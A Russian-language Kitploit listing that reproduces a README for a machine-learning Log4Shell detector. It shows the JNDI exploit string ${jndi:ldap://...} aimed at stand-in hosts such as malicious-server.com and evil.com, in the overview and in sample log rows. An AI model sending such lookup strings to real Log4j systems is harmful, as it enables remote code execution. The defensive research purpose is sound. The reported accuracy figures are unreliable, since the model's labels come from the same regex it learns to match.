Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Log4Shell-vulnerability-CVE-2021-44228- — В данном репозитории представлен углублённый анализ уязвимости Log4Shell (CVE-2021-44228) и реализован подход на основе машинного обучения для обнаружения попыток эксплуатации в лог-данных. | Kitploit
Инструменты/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Анализ уязвимостейМашинное ОбучениеОбнаружение ВторженийСтатьи и ИсследованияОбучение и ОбразованиеПодобранные РесурсыОбнаружение АномалийАнализ Журналов
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

В данном репозитории представлен углублённый анализ уязвимости Log4Shell (CVE-2021-44228) и реализован подход на основе машинного обучения для обнаружения попыток эксплуатации в лог-данных.

Репозиторий
31 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обнаружение угроз Log4Shell (CVE-2021-44228)

Обзор

Этот репозиторий предоставляет углубленный анализ и реализацию системы обнаружения угроз Log4Shell (CVE-2021-44228) на основе машинного обучения. Он включает:

  • Понимание Log4Shell: что это такое и чем опасно
  • Сбор набора данных: источники и шаги предобработки
  • Инженерия признаков: извлечение вредоносных шаблонов на основе JNDI
  • Обучение модели машинного обучения: обнаружение на основе Random Forest
  • Результаты и анализ: метрики производительности и графики оценки
  • Заключение и дальнейшая работа

Обзор угрозы - Log4Shell (CVE-2021-44228)

  • Уязвимость: удаленное выполнение кода (RCE) в Apache Log4j 2
  • Пример эксплуатации:
    root@kitploit:~
    ${jndi:ldap://malicious-server.com/exploit}
    
  • Влияние: позволяет атакующим получить полный контроль над затронутыми системами
  • Смягчение: обновить Log4j до исправленных версий (2.17.0 или новее) и применить правила брандмауэра

Структура репозитория

root@kitploit:~
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

Сбор данных и источники

Используемые наборы данных:

  • Публичные логи из набора данных Zeek Security
  • Логи ловушек из DShield
  • Пользовательские симуляции атак с использованием Metasploit и Kali Linux
  • Скачать набор данных здесь: Логи Log4Shell

Описание набора данных

  • Общий размер набора: 80 МБ
  • Обучающие данные: 70% (56 МБ)
  • Тестовые данные: 30% (24 МБ)
  • Всего записей: 1,000,000
  • Вредоносные записи: 300,000
  • Безвредные записи: 700,000

Пример набора данных логов (log4shell_logs.csv)

ВремяИсходный IPIP назначенияЗапросКод состоянияUser-AgentСообщение лога
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Обычное сообщение лога
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

Инженерия признаков

  • Нормализация логов: преобразование временных меток, извлечение полей
  • Извлечение признаков на основе регулярных выражений: определение шаблонов jndi, ldap, rmi и dns
  • Векторизация текста: преобразование признаков на основе TF-IDF

Модель машинного обучения для обнаружения угроз

  • Алгоритм: классификатор Random Forest
  • Метрики оценки: точность (Accuracy), прецизионность (Precision), полнота (Recall), F1-мера (F1-score)

Код Python для обучения модели

root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

Результаты и анализ производительности

Результаты тестирования:

  • Прецизионность: 98%
  • Полнота: 95%
  • F1-мера: 96%
  • Доля ложных срабатываний: 3%

Сравнение с существующими работами:

  • Традиционные системы SIEM, основанные на правилах, имеют 80-85% точности.
  • Наш подход на основе машинного обучения достигает 96% точности, значительно улучшая показатели обнаружения.
  • По сравнению с методами глубокого обучения, наша модель Random Forest быстрее и интерпретируема, достигая при этом аналогичной точности.

Кривая точность-полнота (Precision-Recall)

Precision-Recall Curve For Log4Shell Detection

Матрица ошибок (Confusion Matrix)

Confusion Matrix For Log4Shell Detection

Заключение и дальнейшая работа

Заключение:

  • Модель Random Forest эффективно обнаруживает угрозы Log4Shell с высокой точностью.
  • Извлечение признаков с использованием распознавания шаблонов JNDI повышает точность.
  • Реальные логи могут содержать попытки обхода, что требует дополнительной настройки.

Дальнейшая работа:

  • Реализовать глубокое обучение (модели LSTM, Transformer) для обнаружения аномалий.
  • Интегрировать конвейеры обработки логов в реальном времени (например, ELK stack, Apache Kafka).
  • Расширить обнаружение на другие CVE-уязвимости на основе логов.

Как использовать

  1. Клонируйте репозиторий:
    root@kitploit:~
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. Установите зависимости:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. Запустите скрипт обучения модели:
    root@kitploit:~
    python scripts/model_training.py
    
  4. Проанализируйте результаты обнаружения в папке results/.

Скачать инструмент